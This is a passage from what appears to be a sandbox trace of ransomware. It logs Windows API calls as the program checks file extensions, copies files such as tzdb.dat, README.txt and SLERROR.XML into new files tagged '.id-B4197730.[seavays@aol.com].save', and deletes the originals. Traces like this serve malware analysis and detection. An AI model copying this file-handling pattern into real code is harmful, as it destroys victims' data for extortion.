lpString2=".txt") returned 1 [0056.325] lstrlenW (lpString=".rar") returned 4 [0056.325] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.325] lstrlenW (lpString=".bz2") returned 4 [0056.325] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.325] lstrlenW (lpString=".7z") returned 3 [0056.326] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.326] lstrlenW (lpString=".dbf") returned 4 [0056.326] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.326] lstrlenW (lpString=".1cd") returned 4 [0056.326] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.326] lstrlenW (lpString=".jpg") returned 4 [0056.326] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.326] lstrlenW (lpString=".doc") returned 4 [0056.326] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.326] lstrlenW (lpString=".docx") returned 5 [0056.326] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0056.326] lstrlenW (lpString=".pdf") returned 4 [0056.326] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.326] lstrlenW (lpString=".xls") returned 4 [0056.326] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.326] lstrlenW (lpString=".xlsx") returned 5 [0056.326] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0056.326] lstrlenW (lpString=".ppt") returned 4 [0056.326] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.326] lstrlenW (lpString=".zip") returned 4 [0056.326] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.326] lstrlenW (lpString=".rar") returned 4 [0056.326] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.326] lstrlenW (lpString=".bz2") returned 4 [0056.326] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.326] lstrlenW (lpString=".7z") returned 3 [0056.326] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.327] lstrlenW (lpString=".dbf") returned 4 [0056.327] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.327] lstrlenW (lpString=".1cd") returned 4 [0056.327] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0056.327] lstrlenW (lpString=".jpg") returned 4 [0056.327] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.327] lstrcmpiW (lpString1=".dat", lpString2=".save") returned -1 [0056.327] lstrlenW (lpString="tzdb.dat") returned 8 [0056.327] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.328] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=105500) returned 1 [0056.328] CloseHandle (hObject=0x2c0) returned 1 [0056.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0056.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.328] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.328] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0056.328] GetLastError () returned 0x0 [0056.328] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0056.332] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x19c20, lpOverlapped=0x0) returned 1 [0056.334] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.334] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0056.335] SetEndOfFile (hFile=0x374) returned 1 [0056.335] CloseHandle (hObject=0x374) returned 1 [0056.338] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.338] SetEndOfFile (hFile=0x2c0) returned 1 [0056.339] CloseHandle (hObject=0x2c0) returned 1 [0056.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.340] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0056.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.340] lstrlenW (lpString=".doc") returned 4 [0056.340] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0056.340] lstrlenW (lpString=".docx") returned 5 [0056.340] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0056.340] lstrlenW (lpString=".pdf") returned 4 [0056.340] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0056.340] lstrlenW (lpString=".xls") returned 4 [0056.340] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0056.340] lstrlenW (lpString=".xlsx") returned 5 [0056.340] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0056.340] lstrlenW (lpString=".ppt") returned 4 [0056.340] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0056.340] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.340] lstrlenW (lpString=".zip") returned 4 [0056.340] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0056.340] lstrlenW (lpString=".rar") returned 4 [0056.340] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0056.340] lstrlenW (lpString=".bz2") returned 4 [0056.340] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0056.340] lstrlenW (lpString=".7z") returned 3 [0056.341] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0056.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.341] lstrlenW (lpString=".dbf") returned 4 [0056.341] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0056.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.341] lstrlenW (lpString=".1cd") returned 4 [0056.341] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0056.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.341] lstrlenW (lpString=".jpg") returned 4 [0056.341] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0056.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.341] lstrlenW (lpString=".doc") returned 4 [0056.341] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0056.341] lstrlenW (lpString=".docx") returned 5 [0056.341] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0056.341] lstrlenW (lpString=".pdf") returned 4 [0056.341] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0056.341] lstrlenW (lpString=".xls") returned 4 [0056.341] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0056.341] lstrlenW (lpString=".xlsx") returned 5 [0056.341] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0056.341] lstrlenW (lpString=".ppt") returned 4 [0056.341] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0056.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.341] lstrlenW (lpString=".zip") returned 4 [0056.341] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0056.341] lstrlenW (lpString=".rar") returned 4 [0056.341] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0056.341] lstrlenW (lpString=".bz2") returned 4 [0056.341] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0056.341] lstrlenW (lpString=".7z") returned 3 [0056.342] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0056.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.342] lstrlenW (lpString=".dbf") returned 4 [0056.342] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0056.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.342] lstrlenW (lpString=".1cd") returned 4 [0056.342] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0056.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0056.342] lstrlenW (lpString=".jpg") returned 4 [0056.342] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0056.342] lstrcmpiW (lpString1=".txt", lpString2=".save") returned 1 [0056.342] lstrlenW (lpString="README.txt") returned 10 [0056.342] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.343] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=46) returned 1 [0056.343] CloseHandle (hObject=0x2c0) returned 1 [0056.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0056.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.343] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.343] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0056.344] GetLastError () returned 0x0 [0056.344] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2e, lpOverlapped=0x0) returned 1 [0056.853] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x30, lpOverlapped=0x0) returned 1 [0056.884] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.884] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe8, lpOverlapped=0x0) returned 1 [0056.884] SetEndOfFile (hFile=0x374) returned 1 [0056.884] CloseHandle (hObject=0x374) returned 1 [0056.885] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.885] SetEndOfFile (hFile=0x2c0) returned 1 [0056.891] CloseHandle (hObject=0x2c0) returned 1 [0056.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.892] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0056.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.892] lstrlenW (lpString=".doc") returned 4 [0056.892] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.892] lstrlenW (lpString=".docx") returned 5 [0056.892] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0056.892] lstrlenW (lpString=".pdf") returned 4 [0056.892] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.892] lstrlenW (lpString=".xls") returned 4 [0056.892] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.892] lstrlenW (lpString=".xlsx") returned 5 [0056.892] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0056.892] lstrlenW (lpString=".ppt") returned 4 [0056.892] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.892] lstrlenW (lpString=".zip") returned 4 [0056.892] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.892] lstrlenW (lpString=".rar") returned 4 [0056.893] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.893] lstrlenW (lpString=".bz2") returned 4 [0056.893] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.893] lstrlenW (lpString=".7z") returned 3 [0056.893] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.893] lstrlenW (lpString=".dbf") returned 4 [0056.893] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.893] lstrlenW (lpString=".1cd") returned 4 [0056.893] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.893] lstrlenW (lpString=".jpg") returned 4 [0056.893] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.893] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.893] lstrlenW (lpString=".doc") returned 4 [0056.893] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.893] lstrlenW (lpString=".docx") returned 5 [0056.893] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0056.893] lstrlenW (lpString=".pdf") returned 4 [0056.893] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.893] lstrlenW (lpString=".xls") returned 4 [0056.893] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.893] lstrlenW (lpString=".xlsx") returned 5 [0056.893] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0056.894] lstrlenW (lpString=".ppt") returned 4 [0056.894] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.894] lstrlenW (lpString=".zip") returned 4 [0056.894] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.894] lstrlenW (lpString=".rar") returned 4 [0056.894] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.894] lstrlenW (lpString=".bz2") returned 4 [0056.894] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.894] lstrlenW (lpString=".7z") returned 3 [0056.894] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.894] lstrlenW (lpString=".dbf") returned 4 [0056.894] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.894] lstrlenW (lpString=".1cd") returned 4 [0056.894] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0056.894] lstrlenW (lpString=".jpg") returned 4 [0056.894] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.894] lstrcmpiW (lpString1=".XML", lpString2=".save") returned 1 [0056.894] lstrlenW (lpString="SLERROR.XML") returned 11 [0056.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.895] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=36336) returned 1 [0056.895] CloseHandle (hObject=0x2c0) returned 1 [0056.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0056.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0056.896] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.896] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0056.896] GetLastError () returned 0x0 [0056.896] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x8df0, lpOverlapped=0x0) returned 1 [0056.899] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x8e00, lpOverlapped=0x0) returned 1 [0056.901] ReadFile (in: hFile=0x2c0, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.901] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xea, lpOverlapped=0x0) returned 1 [0056.901] SetEndOfFile (hFile=0x374) returned 1 [0056.901] CloseHandle (hObject=0x374) returned 1 [0056.903] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.903] SetEndOfFile (hFile=0x2c0) returned 1 [0056.904] CloseHandle (hObject=0x2c0) returned 1 [0056.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0056.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.905] lstrlenW (lpString=".doc") returned 4 [0056.905] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.905] lstrlenW (lpString=".docx") returned 5 [0056.905] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0056.905] lstrlenW (lpString=".pdf") returned 4 [0056.905] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.905] lstrlenW (lpString=".xls") returned 4 [0056.905] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.905] lstrlenW (lpString=".xlsx") returned 5 [0056.905] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0056.905] lstrlenW (lpString=".ppt") returned 4 [0056.905] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.905] lstrlenW (lpString=".zip") returned 4 [0056.905] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.905] lstrlenW (lpString=".rar") returned 4 [0056.905] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.906] lstrlenW (lpString=".bz2") returned 4 [0056.906] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.906] lstrlenW (lpString=".7z") returned 3 [0056.906] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.906] lstrlenW (lpString=".dbf") returned 4 [0056.906] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.906] lstrlenW (lpString=".1cd") returned 4 [0056.906] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.906] lstrlenW (lpString=".jpg") returned 4 [0056.906] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.906] lstrlenW (lpString=".doc") returned 4 [0056.906] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.906] lstrlenW (lpString=".docx") returned 5 [0056.906] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0056.906] lstrlenW (lpString=".pdf") returned 4 [0056.906] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.906] lstrlenW (lpString=".xls") returned 4 [0056.906] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.906] lstrlenW (lpString=".xlsx") returned 5 [0056.906] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0056.906] lstrlenW (lpString=".ppt") returned 4 [0056.907] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0056.907] lstrlenW (lpString=".zip") returned 4 [0056.907] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.907] lstrlenW (lpString=".rar") returned 4 [0056.907] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.907] lstrlenW (lpString=".bz2") returned 4 [0056.907] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 